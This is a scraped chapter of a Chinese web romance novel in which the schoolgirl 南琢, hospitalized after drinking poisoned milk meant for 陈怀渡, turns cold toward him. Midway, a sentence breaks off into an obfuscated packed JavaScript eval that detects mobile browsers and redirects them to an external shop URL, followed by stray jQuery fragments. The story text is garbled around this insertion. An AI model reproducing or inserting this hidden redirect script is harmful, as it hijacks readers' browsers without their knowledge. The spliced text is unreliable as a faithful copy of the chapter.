23. 疏远。

作品:《你还要拒绝我几次

    警局里。


    瘦猴和徐听拂都被带来了,人证物证俱在,真相很快水落石出。


    边春望知道这件事后,第一时间赶到医院看望南琢,还买了补品和水果。


    看见南琢精神状态尚可,才终于松了一口气。


    学习成绩不好就算了,要是身体再不好,南琢以后可怎么找出路啊?


    好在有惊无险,下毒的人心虚,并没有按照雇主的要求把东西全部倒进去。


    回到学校,边春望走进七班教室,“南琢同学这段时间生病住院,有谁愿意帮同学抄一份课堂笔记吗?”


    鸦雀无声。


    边春望眉毛皱了皱,显然很不满意,“都是同学,大家要互帮互助,南琢同学基础偏弱,笔记也不用那么详细,看哪位同学有多余的时间愿意帮帮她?”


    学生愿不愿意学是她的事,作为老师,提供学习资料团结学生是他要做的事。


    一时间,还是没有人吱声。


    边春望沉默了。


    南琢在班上的人缘这么差?


    边春望:“你们班的班长是谁?”


    章问站起身来。


    “那班长来做吧。”边春望下达指令,“过几天给我,我给南琢送过去。”


    章问心里微微一动。


    他刚才没说话倒不是真的不想帮南琢,只是大家都没反应,平常又和南琢关系一般,他要是当了这个出头的人,就莫名有一种背叛了组织的感觉。


    但是由边春望指定,那感觉就不一样了。


    章问清了清喉咙,“好的,我......”


    “做什么?”一道声音径直打断了章问的话。


    陈怀渡从前门走进来,看向边春望:“老师,有什么事么。”


    边春望于是又讲了一遍。


    “嗯。”陈怀渡点点头,没有丝毫犹豫和纠结:“我来吧。”


    章问:“?”


    边春望:“......”


    不是,你听课吗就你来?


    边春望目露犹豫:“陈同学,你可以吗?”


    “可以。”陈怀渡淡淡道:“这是我应该做的。”


    说的有道理。


    陈怀渡虽然是造成南琢中毒进医院的直接原因,但他也是受害者,特别是在了解事情原委之后,边春望也说不出什么责怪的话了。边春望掠过章问,沉默地拍了拍陈怀渡的肩膀。


    “南琢!南琢!”方乐翎得到切实可靠的消息,以百米冲刺的速度窜回病房。


    听到这个劲爆的八卦,方乐翎迫不及待地想要和南琢分享,可一看到人,他就觉得不对了。


    “南琢......”方乐翎忧虑地说,“你不舒服吗?我去帮你喊医生?”


    病床上,女生脸色白得像张纸,眉宇间萦绕着一股化不开的难过,不是病气,而是一种......精神上的萎靡失意。


    听到方乐翎喊自己的名字,南琢也只是呆呆的转过头,眼神空洞得什么也没有装下。


    方乐翎心口顿时咯噔跳了一下。


    怎么了这是?


    在教室里痛的昏过去那会儿南琢也没有露出这幅样子啊......


    方乐翎立刻要出去找医生。


    “我没事。”南琢叫住了他。


    “那是怎么了。”方乐翎没了分享八卦的心情,“谁欺负你了?”


    南琢嘴唇抿得紧紧的,没吭声。


    不想让朋友担心,南琢深吸了一口气,生硬地扯出一个笑,“没有,就是刚才和我妈打电话,她哭了,我有点难受。”


    这话真假掺半,南琢确实和妈妈打电话了,但没告诉她自己真实的现状。


    妈妈帮不了什么,承受能力也弱,知道南琢喝了牛奶中毒急救大概真的会泪流成河。


    而且孟诗觅最近正在热恋期,和恋爱对象去外面旅游了,南琢查了对方的基本资料,确实不是编的,上司公司真有这么一号经理,长得也和他本人一样。


    如果对方真的靠谱、稳重、又对孟诗觅好的话,那在一起也不错。


    孟诗觅需要一个能照顾她的人。


    “这样啊。”方乐翎关心地说:“别担心啦,告诉阿姨,你很快就会好的。再说了,还有我在这里陪你呢!”


    “谢了。”南琢笑了笑,“等我好了一起跳舞。”


    “那是必须!”


    南琢用被子把自己裹成团,若无其事地和朋友聊了几句。等房间只剩下她一个人时,南琢把头缩进被子里,攥着衣服的指节泛白,呼吸急促的几个瞬间里,侧脸颊滑过一道湿漉漉的泪痕。


    泪珠砸在锁骨上,溅成一朵朵碎开的小花。


    悄无声息地落下,又被主人无声无息地抹干。


    -


    江城的冬天来得很晚,但还是来了。


    没有漫天飞雪,也没有凛冽寒风,只是空气中多了一丝温润的凉意,路上的行人多添了一件外套而已。


    南琢在医院躺了三天,期间梁若来看过她,教导主任来看过她,方乐翎来看过她,很多很多人都来了。


    唯独陈怀渡没有来。


    当初抱她来医院时动作那么急切,声音那么温柔,举动那么体贴。可做完这一切之后,他就好像人间蒸发了一样,再也没有出现在南琢面前。


    或许这本来就是陈怀渡的真实想法,像他自己说的那样。


    当时着急上头只是怕自己死了。现在南琢活的好好的,他自然也就不着急了。


    陈怀渡先前流露出来的一点点关心,确实只是南琢在发梦而已。


    而梦终究是要醒的。


    方乐翎见南琢状态好转,拿了个苹果来削皮,边削边把最新得知的消息告诉她听。


    关于真正下毒的其实是陈怀渡母亲这件事,警察前几天已经和南琢说了。


    对方真正想毒的人是陈怀渡,只是阴差阳错之下,那瓶牛奶,被南琢喝了。


    “南琢,你知道吗?”方乐翎压低声音,“徐听拂,她不是有精神病证明吗?本来还很生气,觉得她要逃脱法律的惩罚了,没想到陈家的律师起诉她,说她施行犯罪时并没有完全丧失辨认或控制自己行为的能力,属于故意杀人,律师函都已经发好了!”


    方乐翎觉得解气,“希望判严重点,永远也不要出来害人了。”


    说着,又觉得奇怪,“南琢,你说他妈怎么会想让陈怀渡去死呢?这真是亲妈吗?”


    “不知道。”南琢反应平平,好像方乐翎讲的不是劲爆轰动的豪门秘辛,而是数学试卷。


    方乐翎挑了挑眉,也有些意外。


    以往每次说到和陈怀渡相关的事情,南琢都挺有精神的,怎么今天毫不关心的样子?


    方乐翎轻咳了一声,坦白自己之前做的傻事,“一开始我以为是陈怀渡成心害你,还骂了他好几句。”


    “哦。”南琢说,“骂吧。”


    “?”


    方乐翎:“我在背后偷偷给他竖中指。”


    “竖吧。”


    方乐翎:“我还故意踩了他好几脚,他那球鞋大几千呢。”


    “嗯。”南琢说,“你的鞋子升值了。”


    “......?”


    方乐翎沉默几秒,把切好的苹果喂到南琢嘴里:“你们......闹矛盾了?”


    “没。”


    南琢只是想通了。


    在面对陈怀渡的时候,南琢好像变成了一个心思格外细腻,又敏感的人。


    她记得陈怀渡不喜欢汗味不喜欢烟味也不喜欢香水味,记得陈怀渡问到她身上味道时微微皱起的眉,记得陈怀渡挪开桌子离她远一点的动作,也记得他戴上口罩时的沉默。


    学习时什么都记不住的脑子在陈怀渡面前变得异常聪明,什么都能记住了。


    南琢觉得自己已经努力了,也用心了,万万想不到还是听见陈怀渡说她身上臭,语气嫌弃又不耐,好像已经忍受了她很久很久。


    成绩差没脑子总是喜欢自以为是的付出......原来在陈怀


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16593872|186507||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    渡的眼里,南琢拥有的是这些标签。


    陈怀渡平时随口说出的一句话南琢都能记很久,这种真心流露的心里话,南琢觉得自己可能一辈子都不会忘记了。


    想起书包里的东西,方乐翎拿出来:“这是今天上课的笔记,旺旺非让我拿过来,这么厚一摞,你晚上睡不着的时候拿出来翻翻,挺好一助眠资料。”


    “好。”南琢接过本子就要放好,目光无意间瞥到本子上的字迹,视线又顿住了。


    南琢:“这笔记谁写的?”


    “这个啊......”方乐翎想了想,“具体什么情况我也不清楚,说原本让班长写的,结果最后变成了陈怀渡。”


    “他怎么自己不来送?”南琢明知故问。


    “不知道。”方乐翎说,“他这几天好像都很忙?我看他上课觉也不睡了,一下课就出去发消息打电话。”


    说着说着,方乐翎也有点好奇了,这陈怀渡的笔记,长什么样呢?


    翻了几页,方乐翎震惊了,这和他想象中的完全大相径庭。


    方乐翎以为陈怀渡那种只知道睡觉的人字会七扭八扭,丑的不能看,或者是能看,但肯定不会认真记,随便潦草敷衍地写一点就当完事了。


    可笔记本里每一页笔记都工工整整,字体清隽遒劲,甚至还画了图,图文并茂,清晰又直观。


    方乐翎傻眼了。


    陈怀渡还真的会记笔记啊?还记得挺好。


    他这么想的,也就这么说了出来。


    “你喜欢?”南琢把本子递还到他手上,“那你拿回去看吧。”


    “你不要吗?”


    “不要。”南琢说。


    “为啥呀,这写的不是挺好的。”


    “晕字,”南琢随口诌了个理由,“看着烦。”


    方乐翎很是感同身受,“晕字就不看了,明天我还给他。”


    “不用。”


    冷淡的声音从身后传来。方乐翎回头,看见了笔记本的主人。


    外面气温已经低于二十,陈怀渡却仍然只穿了一件纯黑短袖,一截结实的小臂露在外面,好像感觉不到冷。


    “正好,”方乐翎收回羡慕的目光,裹了裹自己的小外套,“这本子你拿走吧,好意领了,但用不上。”


    陈怀渡没接,“哪里看不懂?”


    南琢说:“哪里都看不懂。”


    也不想看。


    “嗯。”陈怀渡走近了些,从包里拿出纸和笔,“我给你讲?”


    南琢:“。”


    方乐翎:“......?”


    倒数第一给倒数第二讲题?


    南琢很是抗拒,“我不想听。”


    “饿了吗,我带了点吃的。”陈怀渡手里提着一个保温盒。


    方乐翎摸了摸空荡荡的肚皮,想问陈怀渡都带了什么好吃的。


    有奶就是娘,方乐翎脸上刚要扬起友善的笑容——


    南琢说:“刚吃饱,不吃了。”


    方乐翎:“......?”


    啊?


    难道他其实吃过饭了但是却忘记了吗?


    陈怀渡把保温盒放在桌子上,拿出一盒蓝莓,“吃水果么?”


    南琢仍然拒绝,说:“不喜欢吃水果。”


    方乐翎:“?”


    他又失忆了吗。


    南琢不是刚吃完半个苹果吗?


    陈怀渡:“那......”


    南琢径直打断他,抬手掩面故意打了个哈欠,“我困了,什么都不用,你走吧。”


    陈怀渡淡淡重复:“没什么需要我帮的?”


    南琢:“嗯。”


    是陈怀渡自己说的,什么忙也帮不了南琢。


    陈怀渡走了。


    保温盒里的东西南琢也说不吃,让他一起拿走了。


    现在大病初愈,南琢好像什么都不要,连陈怀渡也不要了。


    或许一开始南琢非要和陈怀渡建立亲密关系那时,就是因为她病得不轻。